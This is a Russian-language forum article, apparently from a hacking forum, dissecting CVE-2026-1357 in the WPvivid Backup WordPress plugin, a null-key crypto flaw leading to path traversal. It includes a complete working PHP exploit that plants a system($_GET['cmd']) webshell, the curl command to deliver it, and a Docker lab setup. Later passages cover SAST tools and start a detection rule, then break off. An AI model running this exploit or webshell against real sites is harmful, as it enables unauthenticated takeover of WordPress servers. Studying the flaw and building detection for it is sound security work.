Статья Классический пример ошибки при работе с криптографией

xleaknn

RAID-массив
Пользователь
Регистрация
14.11.2025
Сообщения
79
Реакции
93
Доброго времени суток, уважаемые телеслушатели и радиозрителя. Думаю, у многих бывали ситуации, когда часть сырков от какого-то сервиса попадает в руки, и нужно попытаться извлечь из этого максимальную выгоду. Будь то завгетанные джаваскрипт-файлы, скачанные .php-объекты, или, быть может, найденный репозиторий дева, - все из этого может принести пользу для понимания механик, что, несомненно, поможет искать уязвимости в куда более бодром ритме.
Или, быть может, имеет место быть ситуация, когда хочется поанализировать какой-то фреймворк/плагин/плагин для плагина и найти что-то "эдакое", что в хозяйстве несомненно пригодится, и на руках имеется открытый код этого поделия?
Как многие пентестеры, так и многие непосредственно разработчики в ходе своих действий, направленных на анализ некого поделия, опираются сугубо на критические дыры в коде: не редка тенденция "лени" среди братьев наших-разрабов, которые в ходе своей классической прогонки через SAST и автотестов/Q&A(к слову, это - методики, подпадающие под DAST) ищут сугубо распространенные критические дыры в своем коде, в частности, нарушения санитизации(приводящие ко всем известным последствиям вроде SQLi) и конкретные нарушения структуры бизнес-логики. Но мало кто при этом обращает внимание на нюансы обращения с криптографией, а она тоже способна привести к немалому количеству бед. Так что, добавим в наш арсенал еще один вектор, куда надо смотреть внимательными глазами.

Именно с ярким(и недавним, извините за опоздание :) ) примером таких уязвимостей мы и постараемся разобраться практически и теоретически в статье. Постараемся понять, как такие уязвимые паттерны можно(и нужно) искать, постараемся сделать их поиск куда удобнее, после чего выстроим сценарий эксплуатации и реализуем свой модуль для вечно живого метасплоита. Коснемся софтов для осуществления SAST, темы создания темплейтов как для них, так и для других софтов(в моем случае nuclei), посмотрим на красивую структуру под капотом метасплоита. Но для начала разберемся с матчастью по той теме, которую сегодня будем обозревать.

CVE-2026-1357 - идеальный пример: природа уязвимости, разбор
Идеи для подобных статей у меня зрели достаточно давно; однако, именно недавний "кипиш", поднятый исследователями вокруг этой новой CVE, привлек внимание к язве. При дальнейшем изучении ее природы удалось увидеть красивую и лаконичную структуру потенциального эксплоита, который станет хорошим и наглядным материалом для изучения.
CVE-2026-1357 - критическая уязвимость в плагине WPvivid Backup & Migration для вордпресса, приводящая к догрузке произвольных файлов, что в большинстве случаев приводит к RCE. За счет того, что атака может быть произведена неаутентифицированным человеком, тяжесть только увеличивается: язве присвоили ранг CVSS в 9.8, что соответствует критикалам.
Сам по себе плагин WPvivid нужен для облегчения нужд разработчиков в создании бекапов, проведении миграции, и автоматизирует разрабам немалое количество задач, с ними связанных: например, согласно официальному описанию, он умеет тестировать бекапы, отправлять их на удаленные сервера(к чему мы еще, конечно же, вернемся), облегчает рутинные бега с восстановлением. Так выглядит его страница на официальном ресурсе:
1771419382545.png


Куча дарованного девелоперам функционала, высокий рейтинг, огромное количество инсталлов - сплошные диферамбы. Именно из-за такой "массовости" этого вездесущего плагина, к слову, и возымел свое начало немалый инфоповод, разнесенный в том числе издательством "хакер.ру". Громкие заголовки не заставили себя долго ждать после выхода первого PoC в люди.
Сама атака, согласно опубликованным первым PoC и райтапам, хоть и довольно лаконична в своей цепочке, но требует несколько немаловажных условий:

  • wpvivid_action=send_to_site - этот роут должен быть активен
  • функционал плагина, связанный с получением бекапа, должен быть активен
Также немаловажным условием является доступность этих путей для обычного неаутентифицированного пользователя всецело: если к роуту не будет доступа у простого юзера без аутентификации админа, то даже при наличии уязвимой версии плагина в текущем составе WordPress ничего проэксплойтить не выйдет.
Уязвимые версии плагина - 0.9.123 и более ранние; версия с патчем - 0.9.124(ее мы тоже краем глаза посмотрим).
Итого, мы получаем следующие условия для успешности атаки: версия должна быть 0.9.123 или более ранняя, нужные роуты должны быть нам открыты, и на данный момент на самом вордпрессе админом должна быть включена фича "получить бэкап" - таким образом, эта уязвимая часть функционала плагина будет в действующем состоянии.

Посмотрим на детальный принцип работы. Я опишу его ниже в формате схемы, чтобы было куда более наглядно:

1771435123760.png


И что ж, получается, цепочка не столь сложна. Существует некий паттерн Path Traversal, который эксплуатируется нами просто потому, что мы способны контролировать один из параметров, читаемых в уязвимом объекте. А контролируем мы его потому, что можем вызвать ошибку в работе с криптографией, которая приведет к использованию нулевого ключа. Не так уж и сложно, как кажется.
Перейдем к анализу исходников, дабы понять природу уязвимости поглубже:

Bash:
wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip
unzip wpvivid-backuprestore.0.9.123.zip


Разбираем мы уязвимость с уже готовыми PoC(пусть и сомнительного качества), так что, в этот раз просто почитаем райтапы от авторов по поводу этой CVE, и пойдем уже "готовым путем". Таким образом, определяем двух основных виновников всего пиршества: это классы class-wpvivid-send-to-site.php и class-wpvivid-crypt.php.
Bash:
locate class-wpvivid-crypt.php
locate class-wpvivid-send-to-site.php


Откроем их и изучим содержимое.
Класс wpvivid-send-to-site предназначен для реализации функции "Send to site", доступной в самом плагине, тем самым, отвечает за следующий функционал:
  • во-первых, формирует запросы к целевому серверу, это нужно для передачи файлов, проверки их статуса, файлы предварительно шифруются
  • во-вторых, обрабатывает входящие запросы, в основном в формате POST; в POST-запросах находятся параметры wpvivid_action и wpvivid_content. Тело запроса предварительно расшифровывается.
Сами wpvivid_action там поддерживают разные встроенные действия. К примеру, действие "проверить статус файла" - send_to_site_file_status.
1771428756999.png

Вот такая незамысловатая функция, определяющая по значению POST-параметра wpvivid_action, какая функция будет вызвана. Она же - и "перечень" доступных действий для нас.
Согласно опубликованным PoC, нам нужно обратить свое пристальное внимание именно на send_to_site. И именно этим мы и займемся. Получаем вот такую занимательную функцию:

PHP:
public function send_to_site()
    {
        include_once WPVIVID_PLUGIN_DIR . '/includes/class-wpvivid-crypt.php';
        $test_log=new WPvivid_Log();
        $test_log->CreateLogFile('test_backup','no_folder','transfer');
        $test_log->WriteLog('test upload.','notice');
        try
        {
            if(isset($_POST['wpvivid_content']))
            {
                global $wpvivid_plugin;
                $wpvivid_plugin->wpvivid_log=new WPvivid_Log();

                $default=array();
                $option=get_option('wpvivid_api_token',$default);
                if(empty($option))
                {
                    die();
                }
                if($option['expires'] !=0 && $option['expires']<time())
                {
                    die();
                }
                $crypt=new WPvivid_crypt(base64_decode($option['private_key']));
                $body=base64_decode($_POST['wpvivid_content']);
                $data=$crypt->decrypt_message($body);
                if (!is_string($data))
                {
                    $ret['result']=WPVIVID_FAILED;
                    $ret['error']='The key is invalid.';
                    echo wp_json_encode($ret);
                    die();
                }

                $params=json_decode($data,1);
                if(is_null($params))
                {
                    $ret['result']=WPVIVID_FAILED;
                    $ret['error']='The key is invalid.';
                    echo wp_json_encode($ret);
                    die();
                }

                $wpvivid_plugin->wpvivid_log->OpenLogFile($params['backup_id'].'_backup','no_folder','backup');
                $wpvivid_plugin->wpvivid_log->WriteLog('start upload.','notice');
                $dir=WPvivid_Setting::get_backupdir();

                $file_path=WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.str_replace('wpvivid','wpvivid_temp',$params['name']);

                if(!file_exists($file_path))
                {
                    $handle=fopen($file_path,'w');
                    fclose($handle);
                }

                $handle=fopen($file_path,'rb+');
                $offset=$params['offset'];
                $wpvivid_plugin->wpvivid_log->WriteLog('Write file:'.$file_path.' offset:'.size_format($offset),'notice');
                if($offset)
                {
                    if(fseek($handle, $offset)===-1)
                    {
                        $wpvivid_plugin->wpvivid_log->WriteLog('Seek file offset failed:'.size_format($offset),'notice');
                    }
                }

                if (fwrite($handle,base64_decode($params['data'])) === FALSE)
                {
                    $wpvivid_plugin->wpvivid_log->WriteLog('Write file :'.$file_path.' failed size:'.filesize($file_path),'notice');
                }
                else
                {
                    $wpvivid_plugin->wpvivid_log->WriteLog('Write file:'.$file_path.' success size:'.filesize($file_path),'notice');
                }

                fclose($handle);


                if(filesize($file_path)>=$params['file_size'])
                {
                    if (md5_file($file_path) == $params['md5'])
                    {
                        $wpvivid_plugin->wpvivid_log->WriteLog('rename temp file:'.$file_path.' to new name:'.WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.$params['name'],'notice');
                        rename($file_path,WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.$params['name']);

                        $ret['result']=WPVIVID_SUCCESS;
                        $ret['op']='finished';
                    } else {
                        $wpvivid_plugin->wpvivid_log->WriteLog('file md5 not match','notice');
                        $ret['result']=WPVIVID_FAILED;
                        $ret['error']='File md5 is not matched.';
                    }
                }
                else
                {
                    $wpvivid_plugin->wpvivid_log->WriteLog('continue size:'.filesize($file_path).' size1:'.$params['file_size'],'notice');
                    $ret['result']=WPVIVID_SUCCESS;
                    $ret['op']='continue';
                    //
                }

                echo wp_json_encode($ret);
            }
        }
        catch (Exception $e)
        {
            $ret['result']=WPVIVID_FAILED;
            $ret['error']=$e->getMessage();
            //$wpvivid_plugin->wpvivid_log->WriteLog($e->getMessage(),'error');
            echo wp_json_encode($ret);
            die();
        }

        die();
    }


Тут есть, что анализировать. Мы видим импорт второго виновника торжества - класса wpvivid-crypt: он нужен нам для функционала decrypt_message:
1771431628124.png

Сам по себе декрипт применяется на теле, которое так и обозначено: body. Перед тем, как получить $body, функция съедает содержимое POST-запроса и декодирует его из base64:
PHP:
if(isset($_POST['wpvivid_content']))
{
    #################################
    $body=base64_decode($_POST['wpvivid_content']); - забрала $body(тело), декодируя содержимое wpvivid_content
    $data=$crypt->decrypt_message($body); - забрала содержимое из тела, расшифровав его вызванным decrypt_message()
    #################################
}

После успешного декодирования над $data производятся во-первых - проверка:
PHP:
if (!is_string($data)) - если перед нами не строка, возвращается ошибка в json
     {
          $ret['result']=WPVIVID_FAILED;
          $ret['error']='The key is invalid.';
          echo wp_json_encode($ret);
          die();
     }
во-вторых - в случае, если $data - валидный json, происходит декодировка в ассоциативный массив. Именно этот массив и обозначен для нас $params.

Что содержится в этом массиве и как это интерпретируется? В этом массиве содержится набор отдельных параметров, роли и значения которых мы выпишем ниже для удобства:
  • Параметр backup_id является строкой, толком ни для чего не используется в пределах нашей функции send_to_site(), применяется в нуждах логирования(подставляется в имя лог-файла)
  • Параметр name - строка, по задумке - определяет имя файла, но к этому мы еще вернемся. Используется в нашей рассматриваемой функции в двух местах: во-первых, он определяет путь к временному файлу в формате str_replace('wpvivid','wpvivid_temp', $params['name']), который создается/модифицируется - туда позже запишется чанк. Во-вторых, при успешной проверке размеров и MD5 файл получает финальное имя исходя из значения параметра name.
  • offset - параметр-число, он определяет смещение в байтах, с которого и пишется чанк. Нужен для дозаписи файла по чанкам.
  • data - строка, содержимое одного чанка, закодированное в base64, определяет, что запишем в чанк.
  • file_size - число, ожидаемый полный размер файла в байтах. Отвечает за тот самый переход, который уже упоминали выше во время объяснения роли параметра name: когда файл "получает свое финальное имя". Необходим для того, чтобы плагин понимал, сколько еще чанков нужно ждать.
  • md5 - строка, пришитая проверка по хешу. Если совпадает то, что в итоге записано на сервере, и значение из массива $params, происходит финальная запись файла, уже с финальным именем.
И, опытные глаза уже прекрасно понимают куда лучше меня, в какую сторону здесь стоит смотреть особенно пристально. Если мы присмотримся к параметру name и местам, где он появляется, то увидим следующую картину:

PHP:
if (md5_file($file_path) == $params['md5'])
                    {
                        $wpvivid_plugin->wpvivid_log->WriteLog('rename temp file:'.$file_path.' to new name:'.WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.$params['name'],'notice');
                        rename($file_path,WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.$params['name']); ### !

                        $ret['result']=WPVIVID_SUCCESS;
                        $ret['op']='finished';
                    }



PHP:
$dir=WPvivid_Setting::get_backupdir();

                $file_path=WP_CONTENT_DIR.DIRECTORY_SEPARATOR.$dir.DIRECTORY_SEPARATOR.str_replace('wpvivid','wpvivid_temp',$params['name']); ### !

                if(!file_exists($file_path))
                {
                    $handle=fopen($file_path,'w');
                    fclose($handle);
                }

Все верно: в сухом итоге нет никаких механизмов санитизации, будь то basename(обрезка пути, оставили бы только имя файла) или realpath. Именно это и позволяет обходить "ограничения" с помощью самой обычной конструкции, знакомой каждому пентестеру: ../../..
Запрета на сторонние символы тоже нет, и единственным "барьером", хоть и косвенным, здесь является проверка md5-хеша. Однако, мы можем вычислить MD5 своего шелла: мы же изначально контроллируем каждое значение в массиве $params. В итоге мы получаем классический случай Path Traversal, и можем произвольно записывать свои файлы на сервере. И уязвимость была бы не так страшна, если бы класс wp_vivid работал, как положено. Но именно в нем в сухом итоге окажется "входная точка" в эту цепочку. Что же происходит с криптографией и почему мы в таком спокойном порядке вообще можем "добраться" до этого Path Traversal? Здесь ответ не менее простой и лаконичный, обратимся к той же функции, которую ранее уже упомянули, из класса wpvivid_crypt:
PHP:
public function decrypt_message($message)
    {
        $len = substr($message, 0, 3);
        $len = hexdec($len);
        $key = substr($message, 3, $len);

        $cipherlen = substr($message, ($len + 3), 16);
        $cipherlen = hexdec($cipherlen);

        $data = substr($message, ($len + 19), $cipherlen);
        $rsa = new Crypt_RSA();
        $rsa->loadKey($this->public_key);
        $key=$rsa->decrypt($key); ### нигде не проверяется возвращаемое значение, что чисто фактически позволяет получить и такой сценарий, где $key == false
        $rij = new Crypt_Rijndael();
        $rij->setKey($key); ### может установиться $key == false, что по правилам phpseclib станет пустым или нулевым ключом, что сейчас равноценно
        return $rij->decrypt($data);
    }

Как итог, ситуация следующая: код ожидает только валидный ввод, и абсолютно не предусмотрена ситуация, когда ввод намеренно неверный. От того $key, который в нормальном сценарии сначала симметрично зашифрованный ключ, а потом ключ расшифрованный, в такой ситуации становится "нулевым" после процедуры дешифрования. Это и делает криптографию предсказуемой: атакующий в состоянии зашифровать что-то так, чтобы сервер это прочел.

Сценарий атаки
PoC и приложенный райтап уже готовы, и изобретать велосипед с нуля не придется. Из нужного - лишь создать свой локальный проект, на котором мы и будем все это действо тестировать. Поднимем вордпресс на кали, используя величайшие технологии контейнеризации:
services:
db:
image: mysql:8.0
command:
- --character-set-server=utf8mb4
- --collation-server=utf8mb4_unicode_ci
environment:
MYSQL_DATABASE: ${MYSQL_DATABASE:-wordpress}
MYSQL_USER: ${MYSQL_USER:-wordpress}
MYSQL_PASSWORD: ${MYSQL_PASSWORD:-wordpress}
MYSQL_ROOT_PASSWORD: ${MYSQL_ROOT_PASSWORD:-root}
volumes:
- db_data:/var/lib/mysql
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-p${MYSQL_ROOT_PASSWORD}"]
interval: 5s
timeout: 3s
retries: 30
restart: unless-stopped

wordpress:
image: wordpress:6.6.2-php8.2-apache
ports:
- "127.0.0.1:${WP_HTTP_PORT:-8080}:80"
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: ${MYSQL_USER:-wordpress}
WORDPRESS_DB_PASSWORD: ${MYSQL_PASSWORD:-wordpress}
WORDPRESS_DB_NAME: ${MYSQL_DATABASE:-wordpress}
WORDPRESS_TABLE_PREFIX: ${WORDPRESS_TABLE_PREFIX:-wp_}
volumes:
- wp_data:/var/www/html
- ./php.ini:/usr/local/etc/php/conf.d/99-lab.ini:ro
depends_on:
db:
condition: service_healthy
restart: unless-stopped

wpcli:
image: wordpress:cli-php8.2
depends_on:
- wordpress
- db
environment:
WP_CLI_ALLOW_ROOT: "1"
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: ${MYSQL_USER:-wordpress}
WORDPRESS_DB_PASSWORD: ${MYSQL_PASSWORD:-wordpress}
WORDPRESS_DB_NAME: ${MYSQL_DATABASE:-wordpress}
WORDPRESS_TABLE_PREFIX: ${WORDPRESS_TABLE_PREFIX:-wp_}
WP_URL: ${WP_URL:-http://localhost:8080}
WP_TITLE: ${WP_TITLE:-WordPress}
WP_ADMIN_USER: ${WP_ADMIN_USER:-admin}
WP_ADMIN_PASSWORD: ${WP_ADMIN_PASSWORD:-adminpass}
WP_ADMIN_EMAIL: ${WP_ADMIN_EMAIL:-admin@example.local}
volumes:
- wp_data:/var/www/html
entrypoint: ["/bin/sh", "-lc"]
command: |
set -eu
cd /var/www/html
for i in $(seq 1 60); do [ -f wp-includes/version.php ] && break; sleep 2; done
for i in $(seq 1 60); do [ -f wp-config.php ] && break; sleep 2; done
for i in $(seq 1 60); do wp db check --allow-root >/dev/null 2>&1 && break; sleep 2; done
if ! wp core is-installed --allow-root >/dev/null 2>&1; then
wp core install --allow-root --url="${WP_URL}" --title="${WP_TITLE}" \
--admin_user="${WP_ADMIN_USER}" --admin_password="${WP_ADMIN_PASSWORD}" \
--admin_email="${WP_ADMIN_EMAIL}" --skip-email
fi

phpmyadmin:
image: phpmyadmin:5.2
ports:
- "127.0.0.1:${PMA_HTTP_PORT:-8081}:80"
environment:
PMA_HOST: db
PMA_PORT: 3306
MYSQL_ROOT_PASSWORD: ${MYSQL_ROOT_PASSWORD:-root}
depends_on:
- db
restart: unless-stopped

volumes:
db_data:
wp_data:

Чтобы поднять свой проект, выполняем:
Bash:
docker compose up -d
и ждем завершения.
Макет универсален, и phpmyadmin здесь установлен для удобства мониторинга(в тех случаях, когда тестируете какие-то SQLi - особенно). Сегодня он не понадобится.
1771445920643.png


После того, как контейнеры стартанут, заходим и устанавливаем вордпресс. После простой установки с wpcli идем ставить нужные плагины. Чтобы ставить плагины нужных версий, можно использовать в тестах плагин, названный WP Rollback: он добавляет опцию отката до желаемых версий разных плагинов без излишних манипуляций руками.
После отката получаем нужную версию плагина:
1771447877482.png


Можно начинать тестирование, используя тот пример, что был дан в одном из первых публичных PoC. Для этого:
Bash:
mkdir -p phpseclib/Crypt
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Rijndael.php -O phpseclib/Crypt/Rijndael.php
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Base.php -O phpseclib/Crypt/Base.php


Эксплоит(рядом с директорией phpseclib):
PHP:
<?php
require_once(__DIR__ . '/phpseclib/Crypt/Rijndael.php');

$rij = new Crypt_Rijndael();
$rij->setBlockLength(128);

$rij->setKey(str_repeat("\0", 16));

$shell_content = '<?php system($_GET["cmd"]); ?>';

$params = [
    "backup_id" => "1",
    "name" => "../uploads/pwn_remote.php",
    "data" => base64_encode($shell_content),
    "offset" => 0,
    "file_size" => strlen($shell_content),
    "total_size" => strlen($shell_content),
    "index" => 0,
    "md5" => md5($shell_content),
    "type" => "backup",
    "status" => "running"
];

$encrypted = $rij->encrypt(json_encode($params));

$fake_key = "ABC";
$payload = str_pad(dechex(strlen($fake_key)), 3, "0", STR_PAD_LEFT)
         . $fake_key
         . str_pad(dechex(strlen($encrypted)), 16, "0", STR_PAD_LEFT)
         . $encrypted;

echo base64_encode($payload);
?>
Ставим все нужные галки в панели управления wpvivid(получение/отправка бэкапа) и начинаем тестирование:
Bash:
PAYLOAD=$(php exploit.php) ##для тех, кто видит подобное впервые: мы сохраняем готовый пэйлод в энвайронмент текущей сессии, чтобы потом вызвать - очень удобно
curl -i -s -X POST 'http://127.0.0.1:8080/wp-admin/admin-ajax.php' -d 'wpvivid_action=send_to_site' --data-urlencode "wpvivid_content=$PAYLOAD"

В этот раз, все получается с первого раза:
1771448311374.png


Переходим на адрес, куда был загружен наш вебшелл, и отдаем ему традиционную команду - id.
1771448370908.png

Эксплойт выглядит понятным даже для тех, кто имеет крайне ограниченный опыт с PHP. Детальнее, весь механизм выглядит следующим образом:
1) Подключаем phpseclib, чтобы свободно использовать AES/Rijndael
2) Устанавливаем необходимые параметры(setBlockLength, setKey - в нем значением становится 16 нулевых байт, как и обсуждалось выше, зашифровываем пэйлод в формат, который будет читаться сервером после поломки в decrypt_message из класса wpvivid_crypt)
3) Подготавливаем простейший вебшелл - <?php system($_GET["cmd"]); ?>
4) Подготавливаем JSON-пэйлод(тот самый, который потом будет связан с ассоциативным массивом $params) - в него идут все обязательные параметры:
PHP:
$params = [
    "backup_id" => "1",
    "name" => "../uploads/pwn_remote.php", - эксплойтим Path Traversal
    "data" => base64_encode($shell_content), - data - "содержимое чанка", сюда записываем вебшелл, зашифрованный под base64
    "offset" => 0,
    "file_size" => strlen($shell_content), - размер файла
    "total_size" => strlen($shell_content), - общий размер
    "index" => 0,
    "md5" => md5($shell_content), - вычисление md5, необходимого для завершения записи
    "type" => "backup",
    "status" => "running"
];

5) Собираем JSON в формат строки и зашифровываем в Rijndael под ключ из нулевых байт
6) Формируем итоговый пэйлод, который мы и записывали в энвайронмент под curl: он содержит фейковый ключ с билебердой($fake_key = "ABC") и имитирует все необходимые для сервера условия. Фейковый ключ и вызывает нарушение работы функции decrypt_message на стороне сервера.
Версия нужных модулей выбрана и скачивается именно так, напрямую, не напрасно: эксплойт сильно зависит от поведения phpseclib.

Поиск уязвимых паттернов с помощью SAST
Искать такие паттерны вручную, тем более - в больших по объему сурсах, дело однако то еще. В этот раз райтап на эту тему уже был готов, и в нем было подробно расписано, что сломалось и почему. Но в самостоятельных поисках подобных уязвимых паттернов не самым удобным(пусть и эффективным - глаза не заменит ничто) решением будет перелопачивать сурсы вручную.
Многие в таких ситуациях оставляют первую прогонку по сурсам на плечи всевозможных инструментов для реализации SAST - Static Application Security Testing. Говоря кратко, это такой метод анализа защищенности, чья основная особенность - анализ безопасности без запуска приложения, проще говоря, это анализ защищенности на одной из стадий до запуска(будь то анализ сурсов, байткода или, иногда, даже скомпилированных исполняемых файлов - бинарников). Мы работаем с PHP, так что, никаких неточных методов статического анализа вроде анализа уже исполняемых файлов нам не потребуется, и в этом наше на данный момент счастье: с помощью грамотно произведенного SAST можно наловить немало артефактов и даже полноценных багов.
В контексте таких тестирований нам не стоит слишком глубоко заморачиваться с изучением опен-сурсных зависимостей, от чего отпадает нужда в использовании всевозможных SAST-движков, напичканных верификациями донельзя(таковыми, к сожалению, являются почти все движки, которые пользуются популярностью); во многих использование возможно только после покупки платной подписки.
Если сделать краткую сводку по нынешней классификации, бывают следующие основные разновидности SAST-движков:


  • Движки, ориентированные на работу с паттернами - "pattern-based" вариации. Работают по принципу nuclei: используют темплейты, содержащие уязвимые паттерны, и на основе совпадений делают выводы(возможные выводы тоже декларируются темплейтами). Отрабатывают очень быстро, так как ничего сложного под капотом и не имеют ;)
  • Движки, анализирующие методикой "путей выполнения" - представляют код в формате схемы-графа, имеющей свои вершины - базовые блоки, и свои ребра - переходы между блоками(например, логические ветвления if/else, if true/false и т.д.). Подобный подход позволяет довольно эффективно выискивать логические изъяны, ошибки проектирования(например, лупы - "зацикливание"), мертвый/не используемый код, поломанные блоки.
  • Движки семантического типа(они же - ASTовые). Из названия понятно, что работают с деревом синтаксиса, за счет чего понимают логику гораздо глубже.

Почти все современные SAST-софты имеют гибридный тип движка: тип движка, где сочетаются сразу несколько подходов из выше перечисленных, что позволяет работать в гораздо более эффективном режиме(посудим сами: куда эффективнее ведь не просто искать паттерны, как условный "глупый" grep в составе команд-однострочников, а при этом понимать логическую структуру того, что собственно изложено в коде). Многие при этом имеют интеграции с нейросетками, что позволяет не только анализировать в составе паттернов, но и сопоставлять "детекты" друг с другом, выстраивать логические цепочки, отметать лишние фолс-позитивы и работать с контекстом углубленно. В дальнейшем рассмотрении мы будем использовать 2 SAST-софта: opengrep, который является открытым форком semgrep без авторизации, и aikido.

Aikido предлагает готовую интеграцию в вашу IDE, в этой статье - поставим SAST-агента в Visual Studio Code, который привычен многим в виртуальной машине.
1771498128003.png


Установка быстрая - прямо из менеджера расширений VSCode. Единственное что, придется зарегистрироваться и предоставить расширению свой API-ключ. Но делается это довольно быстро, и без жестких правил вроде отлежанного гитхаба с проектами, как на условном semgrep. С opengrep сложностей так же не представится:

Bash:
mkdir opengrep
cd opengrep/
curl -fsSL https://raw.githubusercontent.com/opengrep/opengrep/main/install.sh | bash ### базовая установка, указана в их репозитории
git clone https://github.com/semgrep/semgrep-rules ### базовый набор правил от semgrep; opengrep, являясь более "открытым" форком, с легкостью их наследует и использует

С имеющимися правилами запускаем тестовое сканирование. В данном случае - тестируем мы простейший PHP-проект, в котором имеются довольно явные SQLi-паттерны:
1771498828067.png


И opengrep, и aikido с легкостью находят проблему и указывают на нее. В случае opengrep - мы используем конкретные правила из диры php/, что видно на скрине:
1771499119957.png

1771499282393.png

И aikido, и opengrep являются "гибридными" SAST-решениями; однако, нам на данный момент интересен именно opengrep, и мы примерно понимаем, зачем и в каких нуждах. Гораздо удобнее работать с SAST, когда, словно на nuclei, темплейты можно дописывать самому в полностью самостоятельном режиме: aikido не дает нам такой возможности, хоть и содержит куда бОльший объем этих темплейтов на все случаи жизни. И тут темплейт придется писать самим: среди всей огромной кучи детектов на анализе плагина подавляющая часть - это фолс-позитивы и мелкие недочеты(их больше), но основную проблему обе утилиты так и не распознали. В случае aikido это даже удивительно: движок довольно популярен, и странно, что таких явных нарушений в работе с криптографией(а по классификации MITRE это CWE-327 - Use of a Broken or Risky Cryptographic Algorithm, и именно ошибка в логике использования криптографии в этой CVE является одной из корневых причин: сначала ошибка инициализации, потом нулевой ключ) он не выявляет. Темплейты под это дело попросту не прописаны ни в Aikido, ни в semgrep-rules, которые мы используем для работы с opengrep, ошибки криптографии - те еще "единороги". С облачным вариантом сканирования у aikido дела шли получше, однако, подобное поведение криптографии, когда мы можем через цепочку ошибок воспроизвести "атаку с нулевым ключом", выявлено не было: из всех связанных с цепочкой в эксплойте при SAST обнаружился только Improper Input Validation - недостаточная/кривая валидация входных данных и возможный Path Traversal на использовании name.

Пропишем свой темплейт под такое дело: ошибки при работе с криптографией - почти всегда лакомый кусочек, где есть либо чтение каких-то данных, либо, как в нашем случае, Path Traversal/записи файлов, либо Information Disclosure(видим то, чего видеть бы не должны), либо - манипуляции со всякими данными, которые по идее должны быть зашифрованы, часто таким болеют элементы в логике авторизации в том числе.
Но важно понимать один нюанс: opengrep - это версия semgrep для нас, для хацкеров. Он не требует никаких регистраций и все еще является крайне мощным инструментом, является бесплатным, никто не унесет от вас часть функций за новую дофига крутую и платную подписку за много деняк. Но он, хоть и является инструментом с SAST-движком гибридного типа, все же лишен интеграции AI-агентов, как это работает в случае того же Aikido. А это значит, что целая куча функционала отпадает. Мы не сможем в глубокий анализ контекста, как это могут AI, но это не отменяет всей красоты и пользы этого инструмента: просто чуть больше ответственности упадет на голову оператора, которому нужно будет прописывать все возможные нюансы в темплейты. Формат использования, как у nuclei, не так ли? ;)
Первым делом, прочтем информацию о opengrep на его репозитории, где сразу же представлен пример конкретного "rule" - темплейта, содержащего правило:
1771501086596.png



Пример крайне примитивен и обобщен: в случае этого конкретного правила хватило бы и простого хорошо настроенного grep, все содержимое - лишь 1 конкретный паттерн; предлагают нам искать опасные unwrap(), которые давно стали отдельной болью у раста.
Уже по этому минимально функциональному правилу мы можем увидеть примерную структуру, и выглядит она следующим образом:
  • некий параметр "id" - это идентификатор правила(темплейта, говоря по-нашему), и в него задается имя, по которому потом будет идентифицирован темплейт, параметр обязателен к указанию
  • параметр "message" - это уведомление, которое высветится пользователю софта, когда правило сработает, - туда кладутся объяснения импакта(влияния) конкретного уязвимого паттерна, параметр так же обязателен
  • параметр "severity" - тоже прост, указывает "тяжесть" находки с точки зрения критичности уязвимости. Работает примерно так же, как и у nuclei.
С параметром language все и так интуитивно понятно; куда интереснее для нас будут конструкции с поиском паттернов, и это здесь действительно целая система. Посмотрим официальную документацию, расположенную тут, тыц(вспоминаем, что opengrep ест все то же самое, что ест и semgrep). И вот, что мы можем понять из документации и уже готовых паттернов:
  • pattern - довольно простой оператор; определяет только точные совпадения(как тут и показано на примере минимально функционального правила - с unwrap()).
  • pattern-either - оператор, работающий с логикой "either - or", "или то, или это" - через него возможно создавать развилки, где под конкретный детект(с отдельным id) хватит детекта по одному из паттернов, изложенных в логическом блоке
  • pattern-all - оператор, работающий с логикой "и то, и это" - через него создаются условия, при которых все из вложенных паттернов должны сработать для получения детекта
  • pattern-inside/pattern-not-inside - операторы для управления сложной логикой контекста
  • pattern-regex - оператор, нужный для анализа регулярных выражений
  • pattern-not - оператор, нужный для указания исключений; очень полезный оператор, который мы обязательно должны будем указывать в составе логики, если хотим исключать фолс-позитивы на анализе сложных/многоэтапных паттернов

Помимо этого, нам предоставляются авторами этих замечательных софтов следующие полезные функции:
  • fix - довольно свободный в оформлении параметр, как и message: позволяет предлагать людям, использующим наш темплейт, автоматические фиксы кода
  • metadata - сюда мы записываем всю "метадату" - дополнительную информацию

Таким образом, структура темплейтов становится довольно понятной, и по правде говоря, она не так уж и сложнее, чем в том же nuclei. Вот довольно короткий пример, ориентированный на поиск неустойчивых к скулям логических конструкций:
1771504376428.png
Оператор pattern-either - задаем возможно уязвимые паттерны, коих несколько, через отдельные операторы "pattern:". Paths с "include:" для того, чтобы указать "зону тестирования" - в данном случае, вордпресс-плагины. "pattern-not:" - для повышения точности за счет исключения безопасных конструкций. А в сухом итоге, получаем следующее правило: ловим опасные методы $wpdb, которые могут привести к исполнению SQL-запросов в сыром виде(особенно опасным среди перечисленных является метод query(), который приводит к прямому исполнению любого SQL-запроса), но при этом исключаем метод prepare, который использует placeholders, и методы, использующие этот метод prepare(выше по уровню абстракции) - delete, update, insert. Эти методы безопасны и их использование обычно к скуле не ведет.

Так как мы уже примерно понимаем структуру того, что должны написать, начнем написание своего правила(темплейта). Рассмотрим только тривиальные сценарии:
  • Классический fail-open(это по CWE) в контексте использования phpseclib: мы уже знаем об изъяне работы decrypt(), и будем смотреть на его использование. В случае, если decrypt() дает результат, который, не проверяя, алгос подставляет в ключ, мы получаем setKey(false) и "нулевой ключ" - в итоге это дает нам потрясающую уязвимость записать что-то для сервера, так как шифрование предсказуемо.
